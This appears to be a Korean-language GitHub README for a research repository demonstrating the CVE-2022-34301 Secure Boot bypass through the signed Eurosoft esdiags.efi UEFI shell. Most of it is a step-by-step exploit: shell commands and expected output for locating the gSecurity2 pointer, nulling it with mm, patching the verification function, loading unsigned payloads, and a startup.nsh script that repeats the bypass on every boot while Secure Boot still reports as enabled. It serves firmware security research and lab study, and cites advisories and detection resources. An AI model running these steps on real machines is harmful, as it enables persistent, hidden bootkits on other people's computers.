themalwareguardian/cve-2022-34301CVE-2022-34301 Secure Boot 우회를 Eurosoft 서명 UEFI Shell(esdiags.efi)을 통해 시연하며, mm 명령을 사용하여 gSecurity2를 무효화하고 서명되지 않은 UEFI 애플리케이션을 로드합니다.
Eurosoft Pc-Check UEFI 진단 셸 - 자체 취약 UEFI 애플리케이션 사용(BYOVUA) - 서명된 UEFI 셸 및 gSecurity2 손상을 통한 Secure Boot 우회.
이 저장소는 CVE-2022-34301을 익스플로잇하여 BYOVUA (Bring Your Own Vulnerable UEFI Application) 기법을 시연합니다. CVE-2022-34301은 Eurosoft Pc-Check UEFI 진단 환경의 Secure Boot 우회 취약점입니다.
이 경우 Secure Boot가 신뢰하는 구성 요소는 esdiags.efi로, Eurosoft의 Pc-Check UEFI 하드웨어 진단 제품의 일부로 배포되는 UEFI 셸이며, Microsoft의 UEFI Third Party Certificate Authority가 신뢰하는 인증서 체인으로 서명되어 있습니다. 이 셸이 실행되면 mm (memory modify) 명령어를 노출하여 OS 부팅 전 단계에서 임의 메모리 읽기 및 쓰기 기능을 제공합니다.
이 프리미티브를 사용하여 DXE 코어의 gSecurity2 전역 포인터를 찾아 무효화할 수 있습니다. 그 결과 이후의 UEFI 이미지 검증이 비활성화되어, Secure Boot가 활성화된 상태에서도 서명되지 않은 UEFI 애플리케이션, 즉 부트킷을 로드할 수 있게 됩니다.
BYOVUA는 커널 수준에서 사용되는 BYOVD (Bring Your Own Vulnerable Driver) 기법의 UEFI 버전입니다. 취약점이 있는 서명된 커널 드라이버를 가져오는 대신, 공격자는 Secure Boot를 훼손할 수 있는 기능을 포함한 서명된 UEFI 애플리케이션 - 이 경우 전체 UEFI 셸 - 을 가져옵니다.
애플리케이션이 Secure Boot가 신뢰하는 인증서 체인으로 서명되어 있기 때문에 의심 없이 수용되며, Secure Boot 데이터베이스(db)에 Microsoft UEFI Third Party Certificate Authority를 포함하는 모든 시스템 - 지난 10년간 출시된 거의 모든 UEFI 지원 PC - 에서 신뢰됩니다. 일단 실행되면 내장 명령어를 통해 공격자에게 직접적인 하드웨어 및 메모리 접근 권한을 제공하며, 이는 에 작동하여 현대 보안 제어(ASLR, DEP, 커널 보호)가 존재하지 않는 환경입니다.
esdiags.efi는 Eurosoft의 Pc-Check UEFI의 일부로 배포되는 UEFI 셸로, PC 제조사, 서비스 조직, IT 팀이 베어메탈 시스템 테스트에 사용하는 부팅 전 하드웨어 진단 제품입니다.
| 속성 | 값 |
|---|---|
| 파일 | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| 제조사 | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| 서명 | Microsoft Corporation UEFI CA 2011 (Third Party) |
| 발견 | Eclypsium (Mickey Shkatov, Jesse Michael) - 2022년 8월 |
| 발표 | DEF CON 30 - "One Bootloader to Load Them All" |
| 폐기 | Microsoft KB5012170을 통해 DBX에 추가됨 (2022년 8월) |
이 취약점은 버그가 아니라 설계 결함입니다. UEFI 셸은 Secure Boot 환경에서 실행되도록 의도되지 않은 합법적인 진단 도구입니다. 그러나 Microsoft가 신뢰하는 인증서로 서명하고 상용 제품의 일부로 배포함으로써, 제조사는 의도치 않게 Secure Boot에 대한 서명된 우회 경로를 만들어냈습니다.
핵심 문제: Secure Boot가 신뢰하는 서명된 바이너리가 내장 명령어를 통해 무제한적인 메모리 읽기/쓰기 기능을 제공합니다. 이 조합은 전체 Secure Boot 신뢰 모델을 무너뜨립니다.
mm (memory modify) 명령어는 시스템 메모리에 대한 직접 읽기 및 쓰기 접근을 제공하는 표준 UEFI 셸 내장 명령어입니다. 이는 UEFI Shell Specification (섹션 5.3)에 문서화되어 있습니다.```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| 파라미터 | 설명 |
|-----------|-------------|
| `Address` | 대상 메모리 주소 |
| `Value` | 기록할 값 (읽기 전용인 경우 생략) |
| `-w` | 너비: 1, 2, 4, 또는 8 바이트 |
| `-MEM` | 시스템 메모리 접근 |
| `-MMIO` | 메모리 매핑 I/O |
| `-IO` | I/O 포트 접근 |
| `-n` | 비대화형 (다음 주소에 대한 프롬프트 없음) |
---
<div id='gsecurity2'/>
### ***gSecurity2와 보안 아키텍처 프로토콜***
UEFI에서의 보안 부팅 이미지 검증은 UEFI 플랫폼 초기화(PI) 명세에 정의된 [보안 아키텍처 프로토콜](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols)을 통해 시행됩니다.
DXE 코어(DxeMain)는 `EFI_SECURITY2_ARCH_PROTOCOL` 구조체를 가리키는 [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252)라는 전역 포인터를 유지합니다. 이 프로토콜은 단일 함수 포인터인 `FileAuthenticationState`를 포함하며, 이는 UEFI 이미지가 로드될 때마다 `LoadImage()`에 의해 호출됩니다:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
LoadImage()가 호출되면 DXE 코어는 다음을 확인합니다:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
`gSecurity2 = NULL`로 설정하면 `if` 검사가 실패하고 `FileAuthenticationState`가 호출되지 않습니다. 이미지 검증이 완전히 건너뛰어집니다 - **Secure Boot는 "활성화"된 상태로 유지되지만 더 이상 강제되지 않습니다**. 서명되지 않은 UEFI 애플리케이션을 자유롭게 로드할 수 있게 됩니다.
gSecurity2를 자동으로 찾아 패치하는 목적별 UEFI 애플리케이션을 포함한 이 기법에 대한 심층적인 기술 이해는 동반 프로젝트를 참조하십시오: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***커널 BYOVD와의 유사점***
UEFI BYOVUA와 커널 BYOVD 간의 구조적 유사점은 정확히 일치합니다:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
두 공격 모두 동일한 근본적 결함을 악용합니다. 보안 메커니즘에 의해 신뢰되는 서명된 구성 요소가 바로 그 메커니즘 자체를 비활성화하는 데 필요한 기본 요소를 제공한다는 점입니다.
서명된 esdiags.efi는 EFI 시스템 파티션(ESP)에 배치되고 부팅 옵션으로 구성됩니다. Secure Boot가 신뢰하는 인증서 체인으로 서명되어 있기 때문에, 펌웨어는 문제없이 이를 검증하고 로드합니다.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
---
<div id='Phase2'/>
### ***2단계 - Security2 프로토콜 핸들 열거***
UEFI Shell에서 목표는 `EFI_SECURITY2_ARCH_PROTOCOL`(GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`)을 노출하는 핸들을 찾고, 해당 프로토콜 인터페이스의 메모리 주소를 얻는 것이다.
> **참고:** `dh -p <GUID>` 명령은 대부분의 EDK2 Shell 빌드에서 원시 GUID를 해석하지 않는다 - 등록된 프로토콜 이름만 인식한다. 아래 접근 방식은 모든 EDK2 Shell 버전에서 작동한다.
**1단계 - SecurityStubDxe 핸들 찾기**
모든 핸들을 나열하고 `SecurityStubDxe`를 찾는다. 이는 두 Security Architectural Protocol을 모두 설치하는 DXE 드라이버이다:```
Shell> dh
출력에서 SecurityStubDxe로 로드된 핸들을 식별합니다:```
10: Image(SecurityStubDxe)
**2단계 - 인접 핸들 검사**
`SecurityStubDxe`는 Security 프로토콜을 별도의 핸들에 설치하며, 일반적으로 바로 다음에 오는 핸들입니다. 이러한 핸들은 Shell이 해당 GUID를 친숙한 이름으로 매핑할 수 없기 때문에 짧은 목록에서 비어 있는 것으로 나타납니다. 상세 모드로 검사하십시오:```
Shell> dh -v 11
Expected output:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
핸들 `0x11`에 이 GUID들이 없으면 `0x12`를 시도하십시오 - 정확한 핸들 번호는 펌웨어 빌드마다 다릅니다.
**3단계 - 인터페이스 주소 기록**
두 프로토콜과 그 인터페이스 주소는 다음과 같습니다:
| GUID | 프로토콜 | 인터페이스 주소 |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**Security2 인터페이스 주소**(이 예시에서는 `0x3EE8C3A0`)는 DxeMain 내부의 `gSecurity2` 전역 포인터가 저장하는 값입니다. 이 값은 3단계에서 필요합니다.
---
<div id='Phase3'/>
### ***3단계 - 메모리에서 gSecurity2 찾기***
`gSecurity2` 변수는 DXE 코어(`DxeMain`) 내부의 전역 포인터입니다. 그 값은 2단계에서 찾은 프로토콜 인터페이스 주소와 같습니다. 목표는 이 포인터가 저장된 메모리 주소를 찾는 것입니다 - 포인터의 값이 아니라 변수 자체를 찾는 것입니다.
**1단계 - DXE 코어 이미지 레이아웃 얻기**```
Shell> dh -v 1
`ImageBase`(`0x3FE94000`)를 기록합니다.
**2단계 - PE 헤더를 파싱하여 `.data` 섹션 찾기**
`.data` 섹션에는 `gSecurity2`를 포함한 초기화된 전역 변수가 들어 있습니다. 이미지 전체를 무작정 스캔하는 대신, PE 헤더를 파싱하여 정확한 `.data` 경계를 찾습니다.
MZ 헤더를 읽어 PE 헤더 오프셋(오프셋 `0x3C`의 DWORD)을 가져옵니다:```
Shell> dmem <ImageBase> 100
출력에서 ImageBase로부터 오프셋 0x3C를 확인합니다. 예를 들어, ImageBase가 0x3FE94000인 경우:```
3FE9403C: C0 00 00 00
이는 PE 서명이 `ImageBase`로부터 오프셋 `0xC0`에 위치함을 의미합니다.
**3단계 - 섹션 테이블 읽기**
섹션 테이블 오프셋은 다음과 같이 계산됩니다:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
COFF 헤더를 읽어 SizeOfOptionalHeader를 가져옵니다 (PE_offset + 20 위치의 WORD):```
Shell> dmem <ImageBase + PE_offset> 20
PE32+(x64) UEFI 이미지의 경우 `SizeOfOptionalHeader`는 일반적으로 `0xF0`입니다. 예시에서는:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
섹션 테이블을 덤프합니다 (5개 섹션 × 40바이트 = 200바이트):``` Shell> dmem 3FE941C8 140
각 섹션 항목은 40바이트입니다:
| 오프셋 | 크기 | 필드 |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
`.data` 섹션 항목을 찾습니다. 예시 출력:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
절대 .data 경계를 계산합니다:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**4단계 - 인터페이스 포인터를 위해 `.data` 스캔**
`.data` 범위 내에서 Security2 인터페이스 주소를 리틀 엔디언 바이트 순서로 검색합니다. 인터페이스 주소가 `0x3EE8C3A0`인 경우, 다음을 검색합니다:```
A0 C3 E8 3E 00 00 00 00
data_start부터 0x200바이트 블록 단위로 스캔:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
`.data` 범위를 계속 탐색하여 바이트 시퀀스를 찾습니다. `gSecurity`(Security1)와 `gSecurity2`(Security2) 포인터는 연속적으로 저장되므로, 두 값이 서로 인접해 있는지 확인합니다:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
팁:
.data섹션에는 EFI 시스템 테이블 구조체(IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV)도 포함되어 있습니다. 보안 포인터는 일반적으로 이러한 구조체 뒤에 위치합니다. 스캔 중에 이러한 시그니처를 발견하면 계속 진행하세요 - 거의 다 왔습니다.
5단계 - 주소 확인
정확한 위치를 읽어 확인합니다:``` Shell> dmem 3FEB0C08 10
Expected output:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
0x3FEB0C08 주소는 gSecurity2가 저장된 위치이며, 이것이 Phase 4의 대상입니다.
gSecurity2 변수의 주소를 알게 되면, 단일 mm 명령으로 Secure Boot 검증을 비활성화할 수 있습니다:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **참고:** `mm` 명령은 주소 인수에 `0x` 접두사를 허용하지 않을 수 있습니다. 원시 16진수 주소를 직접 사용하십시오.
예시:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
gSecurity2 포인터에 8바이트의 0을 씁니다. 이제 DXE 코어는 LoadImage()에서 모든 이미지 검증 검사를 건너뜁니다.
패치를 확인하려면:``` Shell> dmem <gSecurity2_address> 10
처음 8바이트는 `00 00 00 00 00 00 00 00`로 읽혀야 합니다:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
gSecurity(Security1, 두 번째 qword)는 그대로 유지된다는 점에 유의하십시오. Security2만 무효화되며, 이는 LoadImage() 검증을 우회하기에 충분합니다.
gSecurity2가 무효화되었으므로, 서명 상태와 관계없이 모든 UEFI 애플리케이션을 로드할 수 있습니다:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
또는 드라이버에 `load`를 사용하는 경우:```
Shell> load fs1:\MyUnsignedDriver.efi
운영 체제는 아직 시작되지 않았습니다. 이 시점에서 로드된 모든 UEFI 애플리케이션은 OS 수준 보안 제어가 초기화되기 전에 전체 하드웨어 액세스 권한으로 실행됩니다.
UEFI Shell은 실행될 때마다 현재 디렉터리 또는 ESP 루트에서 startup.nsh를 자동으로 실행합니다. 이 스크립트에 mm 패치를 인코딩함으로써 Secure Boot 우회가 매 부팅 시 자동으로 실행됩니다:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
예시:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
시스템은 계속해서 Secure Boot를 "활성화됨"으로 보고합니다 - 런타임 시행만 비활성화될 뿐입니다. 이로 인해 OS 수준의 Secure Boot 상태 쿼리에서는 공격이 보이지 않게 됩니다.
중요:
gSecurity2주소(이 예시에서는0x3FEB0C08)는 펌웨어 빌드에 특정합니다. 펌웨어가 업데이트되거나 재컴파일되면, Phase 2와 3을 반복하여 주소를 다시 계산해야 합니다.
gSecurity2 주소를 찾는 것은 펌웨어에 특정하며, 펌웨어가 업데이트되거나 재컴파일될 때마다 반복해야 합니다. 상위 수준의 과정은 다음과 같습니다:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
두 가지 접근 방식이 제공됩니다:
**접근 방식 A - FileAuthenticationState 패치:** 검증 함수의 첫 4바이트를 `xor rax, rax; ret` (`48 31 C0 C3`)로 덮어써서, 어떠한 검사도 수행하지 않고 EFI_SUCCESS를 반환하도록 만듭니다. 이 접근 방식은 `dh`, `dmem`, `mm` 명령을 사용하여 Security2 프로토콜 인터페이스를 통해 함수 포인터를 확인하며, DxeMain 메모리를 검색할 필요가 없습니다.
**접근 방식 B - gSecurity2 포인터 무효화:** DxeMain의 `.data` 섹션 내에 있는 gSecurity2 전역 변수를 찾아 NULL을 씁니다. 이는 Eclypsium이 BombShell 공개에서 설명한 기법이며, [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) 저장소에서 프로그래밍 방식으로 구현되었습니다. 이 접근 방식은 DxeMain의 PE 헤더를 파싱하여 `.data` 섹션 경계를 찾은 다음, `dmem`으로 메모리를 수동 스캔하여 포인터 주소를 찾아야 합니다.
두 스크립트 모두 각 명령에 대한 설명과 함께 단계별로 따라 하도록 설계되었습니다. 먼저 대화식으로 실행한 다음, 대상 펌웨어에 대한 올바른 주소를 알게 되면 매 부팅 시 자동 실행을 위한 `startup.nsh`를 작성하십시오.
---
---
---
<div id='LabSetup'/>
## ***Lab Setup***
### DBX (금지된 서명 데이터베이스)
서명된 셸은 KB5012170(2022년 8월)을 통해 Microsoft의 DBX 폐기 목록에 추가되었습니다. 업데이트된 시스템에서는 셸이 Secure Boot에 의해 거부됩니다.
랩 환경을 위해서는 다음 조건을 충족하는 시스템이 필요합니다:
- DBX에 이 특정 셸에 대한 폐기 항목이 업데이트되지 않았거나
- DBX가 비어 있거나 (기본 Secure Boot 키가 있는 새 VM)
- 또는 사용자 지정 Secure Boot 키 등록이 있는 QEMU/OVMF 환경을 사용
[QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment)가 이를 위한 자동화된 설정을 제공합니다.
### 대안: mm 명령이 있는 모든 서명된 UEFI 셸
이 기법은 `esdiags.efi`에만 국한되지 않습니다. `mm` 명령을 제공하고 신뢰할 수 있는 인증서(Microsoft CA 또는 OEM별)로 서명된 모든 UEFI Shell을 사용할 수 있습니다. Eclypsium의 [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) 연구(2025년 10월)에서 문서화된 바와 같이, 위험한 기능을 가진 서명된 UEFI 셸이 Framework 노트북(약 200,000대의 장치에 영향)을 포함한 여러 공급업체의 제품에서 발견되었습니다.
---
---
---
<div id='References'/>
## ***References***
### 직접 관련
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - 알려진 취약한 서명된 UEFI 애플리케이션의 엄선된 모음
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - gSecurity2 손상 기법에 대한 심층 기술 분석, 포인터를 자동으로 찾아 패치하는 전용 UEFI 애플리케이션 포함
### Eclypsium 연구
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - .nsh 스크립팅을 통한 메모리 조작에 서명된 UEFI 셸을 사용하는 연구
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - CVE-2022-34301, CVE-2022-34302, CVE-2022-34303을 공개한 최초의 Eclypsium 연구
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Mickey Shkatov와 Jesse Michael의 발표
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Framework 노트북(200k 장치 영향)에서 mm 명령 gSecurity2 공격을 시연한 2025년 10월 연구
### UEFI 사양
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - mm 및 dh 명령에 대한 문서
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - gSecurity2 전역 포인터에 대한 소스 코드 참조
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Security2 Architectural Protocol의 공식 정의
### 권고
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34301](https://nvd.nist.gov/vuln/detail/CVE-2022-34301)
### 부트로더 카탈로그
- [Bootloaders.io - esdiags.efi](https://www.bootloaders.io/bootloaders/aa02b41c-fdba-4a15-8cd0-721c8ce19b68/) - 폐기된 Eurosoft 셸에 대한 YARA 규칙, Sigma 탐지 및 샘플 해시